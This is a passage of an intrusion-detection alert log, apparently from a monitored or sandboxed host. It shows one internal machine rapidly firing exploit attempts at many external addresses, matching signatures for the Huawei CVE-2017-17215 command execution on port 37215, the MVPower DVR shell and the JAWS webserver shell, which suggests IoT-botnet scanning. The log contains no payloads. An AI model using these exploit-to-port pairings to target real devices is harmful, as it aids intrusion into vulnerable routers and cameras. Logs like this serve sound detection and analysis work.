Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.151.10.77

Timestamp:	06/01/24-18:15:54.255877
SID:	2829579
Source Port:	44130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.123.221.185

Timestamp:	06/01/24-18:15:54.255917
SID:	2829579
Source Port:	54086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 24.72.9.82

Timestamp:	06/01/24-18:15:54.238762
SID:	2025883
Source Port:	35140
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 53.177.52.181

Timestamp:	06/01/24-18:15:55.264980
SID:	2030092
Source Port:	46430
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 193.247.242.227

Timestamp:	06/01/24-18:15:55.266621
SID:	2030092
Source Port:	39892
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 213.46.243.209

Timestamp:	06/01/24-18:15:54.240566
SID:	2025883
Source Port:	41472
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.25.244.85

Timestamp:	06/01/24-18:15:54.253312
SID:	2835222
Source Port:	56290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 89.243.242.221

Timestamp:	06/01/24-18:15:53.241529
SID:	2025883
Source Port:	58654
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 67.147.165.34

Timestamp:	06/01/24-18:15:54.239076
SID:	2030092
Source Port:	33318
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.42.3.37

Timestamp:	06/01/24-18:15:54.275905
SID:	2835222
Source Port:	45842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.179.71.43

Timestamp:	06/01/24-18:15:54.251796
SID:	2835222
Source Port:	57566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 37.201.193.121

Timestamp:	06/01/24-18:15:56.245386
SID:	2025883
Source Port:	54684
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.244.184.156

Timestamp:	06/01/24-18:15:55.261842
SID:	2835222
Source Port:	59374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.159.189.243

Timestamp:	06/01/24-18:15:56.308392
SID:	2829579
Source Port:	60204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.204.247.193

Timestamp:	06/01/24-18:15:54.256434
SID:	2829579
Source Port:	44020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.35.92.138

Timestamp:	06/01/24-18:15:56.306634
SID:	2829579
Source Port:	36014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.1.199.155

Timestamp:	06/01/24-18:15:55.260686
SID:	2835222
Source Port:	57732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 48.6.53.216

Timestamp:	06/01/24-18:15:55.266938
SID:	2030092
Source Port:	60962
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.229.155.141

Timestamp:	06/01/24-18:15:54.254529
SID:	2829579
Source Port:	49572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 39.24.219.249

Timestamp:	06/01/24-18:15:54.239370
SID:	2030092
Source Port:	50474
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 212.34.153.120

Timestamp:	06/01/24-18:15:54.241602
SID:	2025883
Source Port:	37588
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.186.161.206

Timestamp:	06/01/24-18:15:54.275742
SID:	2829579
Source Port:	60068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 60.237.234.86

Timestamp:	06/01/24-18:15:55.266558
SID:	2030092
Source Port:	55906
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 149.127.43.235

Timestamp:	06/01/24-18:15:53.238346
SID:	2030092
Source Port:	51142
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.177.223.221

Timestamp:	06/01/24-18:15:54.256517
SID:	2835222
Source Port:	55302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 175.110.145.206

Timestamp:	06/01/24-18:15:55.264950
SID:	2030092
Source Port:	50738
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.163.26.210

Timestamp:	06/01/24-18:15:55.263651
SID:	2835222
Source Port:	54962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.91.55.119

Timestamp:	06/01/24-18:15:54.253534
SID:	2829579
Source Port:	43954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.35.163.130

Timestamp:	06/01/24-18:15:56.307074
SID:	2835222
Source Port:	58850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.164.69.210

Timestamp:	06/01/24-18:15:55.260266
SID:	2829579
Source Port:	50294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 36.17.37.52

Timestamp:	06/01/24-18:15:56.244182
SID:	2025883
Source Port:	56476
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 60.224.142.1

Timestamp:	06/01/24-18:15:54.238560
SID:	2025883
Source Port:	43196
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.90.29.90

Timestamp:	06/01/24-18:15:54.273948
SID:	2835222
Source Port:	47462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.146.68.75

Timestamp:	06/01/24-18:15:55.260509
SID:	2835222
Source Port:	60104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 209.98.115.136

Timestamp:	06/01/24-18:15:54.240412
SID:	2030092
Source Port:	35516
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.136.53.187

Timestamp:	06/01/24-18:15:54.273650
SID:	2835222
Source Port:	39250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.107.164.239

Timestamp:	06/01/24-18:15:54.274543
SID:	2835222
Source Port:	38888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 90.145.31.137

Timestamp:	06/01/24-18:15:56.244830
SID:	2030092
Source Port:	54968
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 141.114.69.138

Timestamp:	06/01/24-18:15:56.246394
SID:	2030092
Source Port:	33772
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.108.7.250

Timestamp:	06/01/24-18:15:56.244662
SID:	2030092
Source Port:	52258
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 19.188.175.96

Timestamp:	06/01/24-18:15:56.244374
SID:	2030092
Source Port:	38836
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.5.152.126

Timestamp:	06/01/24-18:15:56.307552
SID:	2829579
Source Port:	60622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.101.61.245

Timestamp:	06/01/24-18:15:54.274464
SID:	2835222
Source Port:	35470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 206.32.126.218

Timestamp:	06/01/24-18:15:55.265477
SID:	2030092
Source Port:	59410
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.126.155.107

Timestamp:	06/01/24-18:15:54.253379
SID:	2829579
Source Port:	58048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.152.96.204

Timestamp:	06/01/24-18:15:54.255789
SID:	2835222
Source Port:	45840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.210.56.52

Timestamp:	06/01/24-18:15:55.262354
SID:	2835222
Source Port:	57030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.3.243.152

Timestamp:	06/01/24-18:15:54.253732
SID:	2835222
Source Port:	59608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.69.248.105

Timestamp:	06/01/24-18:15:54.255976
SID:	2829579
Source Port:	41036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 25.119.127.189

Timestamp:	06/01/24-18:15:53.247444
SID:	2025883
Source Port:	38426
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 144.192.66.230

Timestamp:	06/01/24-18:15:53.241044
SID:	2030092
Source Port:	45540
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.33.225.228

Timestamp:	06/01/24-18:15:54.251192
SID:	2829579
Source Port:	37366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.141.78.170

Timestamp:	06/01/24-18:15:56.308533
SID:	2835222
Source Port:	35508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.42.136.63

Timestamp:	06/01/24-18:15:54.274260
SID:	2835222
Source Port:	60032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 83.231.82.8

Timestamp:	06/01/24-18:15:53.238659
SID:	2030092
Source Port:	35842
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.227.20.171

Timestamp:	06/01/24-18:15:54.252168
SID:	2829579
Source Port:	49194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 188.65.236.49

Timestamp:	06/01/24-18:15:56.254604
SID:	2025883
Source Port:	51930
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 137.234.162.150

Timestamp:	06/01/24-18:15:54.237830
SID:	2030092
Source Port:	36480
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 50.235.115.106

Timestamp:	06/01/24-18:15:53.241576
SID:	2030092
Source Port:	45266
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.206.114.48

Timestamp:	06/01/24-18:15:53.239684
SID:	2025883
Source Port:	40992
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 53.223.178.64

Timestamp:	06/01/24-18:15:54.238640
SID:	2030092
Source Port:	53032
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.58.71.89

Timestamp:	06/01/24-18:15:55.263203
SID:	2835222
Source Port:	50546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.33.181.12

Timestamp:	06/01/24-18:15:54.254259
SID:	2829579
Source Port:	59806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.23.230.69

Timestamp:	06/01/24-18:15:55.263437
SID:	2829579
Source Port:	44642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 134.253.46.5

Timestamp:	06/01/24-18:15:55.267467
SID:	2030092
Source Port:	51868
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.234.39.13

Timestamp:	06/01/24-18:15:54.254454
SID:	2835222
Source Port:	47530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.238.177.50

Timestamp:	06/01/24-18:15:54.256952
SID:	2835222
Source Port:	37148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.66.66.141

Timestamp:	06/01/24-18:15:56.288015
SID:	2829579
Source Port:	41204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.99.171.142

Timestamp:	06/01/24-18:15:54.274796
SID:	2835222
Source Port:	40428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 124.126.158.225

Timestamp:	06/01/24-18:15:55.266347
SID:	2030092
Source Port:	45156
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.215.248.219

Timestamp:	06/01/24-18:15:55.261256
SID:	2829579
Source Port:	46470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.54.77.148

Timestamp:	06/01/24-18:15:54.287413
SID:	2829579
Source Port:	60892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 149.39.112.106

Timestamp:	06/01/24-18:15:54.240600
SID:	2025883
Source Port:	38122
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 123.15.159.153

Timestamp:	06/01/24-18:15:54.241554
SID:	2025883
Source Port:	43640
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 170.144.103.21

Timestamp:	06/01/24-18:15:55.266713
SID:	2030092
Source Port:	50786
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 24.179.173.118

Timestamp:	06/01/24-18:15:54.237960
SID:	2030092
Source Port:	41606
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.116.27.9

Timestamp:	06/01/24-18:15:56.307937
SID:	2835222
Source Port:	38026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 173.142.129.181

Timestamp:	06/01/24-18:15:53.241504
SID:	2025883
Source Port:	54708
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 135.144.55.37

Timestamp:	06/01/24-18:15:56.255002
SID:	2025883
Source Port:	55288
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.175.95

Timestamp:	06/01/24-18:15:56.307586
SID:	2835222
Source Port:	41184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 87.233.87.119

Timestamp:	06/01/24-18:15:54.240074
SID:	2030092
Source Port:	38306
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 173.201.55.115

Timestamp:	06/01/24-18:15:53.241186
SID:	2025883
Source Port:	42926
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 211.152.213.185

Timestamp:	06/01/24-18:15:54.239931
SID:	2025883
Source Port:	35692
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 146.123.63.93

Timestamp:	06/01/24-18:15:56.246953
SID:	2030092
Source Port:	48018
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.139.79.120

Timestamp:	06/01/24-18:15:53.241304
SID:	2030092
Source Port:	42066
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.152.169.18

Timestamp:	06/01/24-18:15:54.253050
SID:	2829579
Source Port:	54402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 161.166.48.249

Timestamp:	06/01/24-18:15:53.246833
SID:	2030092
Source Port:	47804
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 86.86.105.40

Timestamp:	06/01/24-18:15:56.246876
SID:	2025883
Source Port:	49412
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.189.238.220

Timestamp:	06/01/24-18:15:54.253169
SID:	2835222
Source Port:	41296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.61.54.93

Timestamp:	06/01/24-18:15:54.251714
SID:	2835222
Source Port:	55452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 158.200.167.191

Timestamp:	06/01/24-18:15:56.255180
SID:	2030092
Source Port:	32818
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.37.220.142

Timestamp:	06/01/24-18:15:54.252117
SID:	2835222
Source Port:	36204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.239.222.81

Timestamp:	06/01/24-18:15:54.274985
SID:	2829579
Source Port:	39966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.127.175.227

Timestamp:	06/01/24-18:15:54.239112
SID:	2030092
Source Port:	53466
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.208.181.92

Timestamp:	06/01/24-18:15:56.307106
SID:	2829579
Source Port:	41680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 102.77.238.93

Timestamp:	06/01/24-18:15:55.265828
SID:	2030092
Source Port:	53224
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.171.180.102

Timestamp:	06/01/24-18:15:54.252555
SID:	2829579
Source Port:	49600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.191.51.126

Timestamp:	06/01/24-18:15:55.261076
SID:	2829579
Source Port:	44092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.221.125.6

Timestamp:	06/01/24-18:15:54.275278
SID:	2829579
Source Port:	36160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.95.142.163

Timestamp:	06/01/24-18:15:54.274661
SID:	2829579
Source Port:	58694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 223.93.215.58

Timestamp:	06/01/24-18:15:55.231937
SID:	2030092
Source Port:	59916
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 96.191.196.7

Timestamp:	06/01/24-18:15:55.266035
SID:	2030092
Source Port:	34700
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.73.11.125

Timestamp:	06/01/24-18:15:54.275029
SID:	2835222
Source Port:	52246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 176.78.160.138

Timestamp:	06/01/24-18:15:54.239986
SID:	2030092
Source Port:	44968
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 122.96.155.142

Timestamp:	06/01/24-18:15:56.245550
SID:	2025883
Source Port:	41354
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.90.12.37

Timestamp:	06/01/24-18:15:56.307965
SID:	2829579
Source Port:	41492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 206.73.46.114

Timestamp:	06/01/24-18:15:54.239284
SID:	2030092
Source Port:	53154
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 92.66.196.17

Timestamp:	06/01/24-18:15:56.246172
SID:	2030092
